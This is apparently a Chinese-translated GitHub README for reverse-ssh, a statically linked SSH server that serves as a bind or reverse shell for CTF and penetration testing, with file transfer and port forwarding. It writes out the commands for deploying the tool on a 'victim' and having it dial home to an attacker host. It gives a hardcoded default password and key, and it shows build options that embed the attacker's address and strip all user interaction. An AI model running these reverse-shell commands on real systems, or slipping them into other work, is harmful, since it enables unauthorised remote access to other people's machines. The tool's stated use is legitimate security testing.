Fahrj/reverse-ssh

GitHub: Fahrj/reverse-ssh

一款面向 CTF 和渗透测试场景的静态链接 SSH 服务器,提供完全交互式的反弹/正向 Shell、文件传输与端口转发功能。

Stars: 1050 | Forks: 149

# ReverseSSH **一个静态链接的 ssh 服务器,带有反向连接功能,可提供简单而强大的远程访问。在 HackTheBox 挑战、CTF 或类似场景中最为实用。** 在准备 OSCP 考试期间开发并得到了广泛使用。 **[获取最新版本](https://github.com/Fahrj/reverse-ssh/releases/latest)** ![演示](https://static.pigsec.cn/wp-content/uploads/repos/cas/87/87f86140caf8004642465ac5394011e7b2f91da28b304f627c6e5b22f450c0ba.gif) ## 功能 用 _netcat_ 捕获一个 reverse shell 确实很酷,但谁没有因为肌肉记忆而意外地通过键盘中断关闭过 reverse shell 呢? 除了脆弱性之外,这类 shell 通常还缺少一些便利功能,例如完全交互式访问、TAB 补全或历史记录。 相反,你可以选择直接将**轻量级 ssh 服务器** (<1.5MB) `reverse-ssh` 部署到目标机器上,并使用附加功能,例如**文件传输**和**端口转发**! ReverseSSH 试图弥合在目标上获得初始立足点与完全本地权限提升之间的鸿沟。 它的主要优势如下: * **完全交互式 shell 访问**(有关旧版 Windows 的注意事项,请参见下文) * **通过 sftp 进行文件传输** * **本地 / 远程 / 动态端口转发** * **可用作 bind shell 和 reverse shell** * 支持 **Unix** 和 **Windows** 操作系统 **Windows 注意事项** Windows 上完全交互式的 powershell 依赖于 [Windows 伪终端 ConPTY](https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/),因此至少需要 `Win10 Build 17763`。 在更早的版本中,你仍然可以获得一个交互式的 reverse shell,但它无法处理诸如方向键或键盘中断等虚拟终端代码。 在这种情况下,你必须附加 `cmd` 命令,即 `ssh cmd`。 你可以通过将 [OpenSSH for Windows](https://github.com/PowerShell/Win32-OpenSSH/releases/latest) 中的 `ssh-shellhost.exe` 放入与 `reverse-ssh` 相同的目录中,然后使用标志 `-s ssh-shellhost.exe`,来为旧版 Windows 实现完全交互式的 shell 访问。 这会将所有流量通过 `ssh-shellhost.exe` 传递,该程序会模拟一个 pty,并转换所有虚拟终端代码以便 Windows 能够理解。 ## 环境要求 只需运行提供的二进制文件,仅依赖于 [golang 系统要求](https://github.com/golang/go/wiki/MinimumRequirements#operating-systems)。 简而言之: * **Linux**:内核版本 2.6.23 及更高 * **Windows**:Windows Server 2008R2 及更高版本,或 Windows 7 及更高版本 编译还需要以下条件: * golang 1.15 版本 * 可选的 `upx` 用于压缩(例如 `apt install upx-ucl`) ## 使用方法 一旦 `reverse-ssh` 在目标机器上运行,你就可以使用任意用户名和默认密码 `letmeinbrudipls`、ssh 密钥或你在编译期间指定的任何内容进行连接。 归根结底,它只是一个 ssh 服务器: ``` # 完全交互式 shell 访问 $ ssh -p # 简单命令执行 $ ssh -p whoami # 完整的文件传输 $ sftp -P # 在端口 9050 上作为 SOCKS proxy 进行动态端口转发 $ ssh -p -D 9050 ``` ### 将 ReverseSSH 作为 bind shell 运行 ``` # Victim victim$ ./reverse-ssh # Attacker(默认密码:letmeinbrudipls) attacker$ ssh -p 31337 ``` ### 将 ReverseSSH 作为 reverse shell 运行 注意:你可以使用 LHOST 和 LPORT 参数编译 ReverseSSH,以简化在目标机器上的执行,[见下文](#build-tricks) ``` # 在 attacker 上(准备好接收传入的请求; # 如果你已经有一个 ssh daemon 在运行,例如 OpenSSH,则可以省略) # 注意:8888 的 LPORT 与传入连接冲突;在这种情况下,请在 victim 上使用 `-b 8889` 或类似的 flag attacker$ ./reverse-ssh -v -l -p # 在 victim 上 victim$ ./reverse-ssh -p # 或者如果 ssh daemon 在端口 22 上监听,并且对用户 'kali' 使用密码身份验证 victim$ ./reverse-ssh -p 22 kali@ # 在 attacker 上(默认密码:letmeinbrudipls) attacker$ ssh -p 8888 127.0.0.1 # 或者使用下面的 ssh config attacker$ ssh target ``` 由于它最终只是纯粹的 ssh,因此你可以通过在 22 端口上监听的 openssh daemon 来捕获来自目标机器的远程端口转发调用。 只需在前面加上 `@`,并在出现提示时提供密码即可。 目前回连功能仅支持密码,因为我暂时还不想把私钥也烘焙进去...... 为了获得更多便利,请将以下内容添加到你的 `~/.ssh/config` 中,将 [ssh 私钥](assets/id_reverse-ssh) 复制到 `~/.ssh/`,之后只需调用 `ssh target` 或 `sftp target` 即可: ``` Host target Hostname 127.0.0.1 Port 8888 IdentityFile ~/.ssh/id_reverse-ssh IdentitiesOnly yes StrictHostKeyChecking no UserKnownHostsFile /dev/null ``` ### 完整用法 ``` reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor Usage: reverse-ssh [options] [[@]] Examples: Bind: reverse-ssh -l reverse-ssh -v -l -p 4444 Reverse: reverse-ssh 192.168.0.1 reverse-ssh kali@192.168.0.1 reverse-ssh -p 31337 192.168.0.1 reverse-ssh -v -b 0 kali@192.168.0.2 Options: -l, Start reverseSSH in listening mode (overrides reverse scenario) -p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario) or where it tries to establish a ssh connection (reverse scenario) (default: 31337) -b, Reverse scenario only: bind to this port after dialling home (default: 8888) -s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash) for windows this can only be used to give a path to 'ssh-shellhost.exe' to enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory) -N, Deny all incoming shell/exec/subsystem and local port forwarding requests (if only remote port forwarding is needed, e.g. when catching reverse connections) -v, Emit log output Optional target which enables the reverse scenario. Can be prepended with @ to authenticate as a different user other than 'reverse' while dialling home Credentials: Accepting all incoming connections from any user with either of the following: * Password "letmeinbrudipls" * PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi" ``` ## 编译说明 确保安装了上述要求,例如匹配版本的 golang,并正确进行了设置。 之后,你可以使用 `make` 进行编译,这将在 `bin` 目录中创建静态二进制文件。 使用 `make compressed` 可通过 upx 打包二进制文件,以进一步减小其体积。 ``` $ make # 或者对于额外创建的用 upx 压缩的二进制文件 $ make compressed ``` ### 编译技巧 在编译时,你还可以指定以下一个或多个环境变量,以便根据你的使用场景自定义 ReverseSSH: * `RS_SHELL` 更改默认 shell * `RS_PASS` 提供你的个性化密码 * `RS_PUB` 提供你的个性化授权密钥 * `LUSER` 更改 ssh 连接尝试的默认用户名 * `LHOST` 提供默认的 LHOST 值,并让 **ReverseSSH 默认使用反向连接场景** * `LPORT` 更改默认监听端口,或发送 ssh 连接尝试的端口 * `BPORT` 更改攻击者机器上反向连接的默认监听端口;**0 表示使用任意可用端口** * `NOCLI` 赋予任意值将移除所有面向用户的交互(二进制文件会忽略所有提供的标志或参数) ``` $ ssh-keygen -t ed25519 -f id_reverse-ssh $ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed $ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed ``` ### 为不同的操作系统或架构编译 默认情况下,`reverse-ssh` 会为你当前的 OS 和架构进行编译,同时也会为 x86 和 x64 架构的 linux 和 windows 进行编译。 要为其他架构或其他 OS 进行编译,你可以提供与你的目标相匹配的环境变量,例如 linux/arm64: ``` $ GOARCH=arm64 GOOS=linux make compressed ``` 可以通过 `go tool dist list` 获取格式为 `OS/arch` 的可用目标列表。 ## 贡献 缺少令人惊叹的功能?有什么没有按预期工作吗? **创建一个 issue 或 pull request 吧!**
标签:EVTX分析, SSH, 内存分配, 反弹Shell, 命令与控制, 日志审计, 静态链接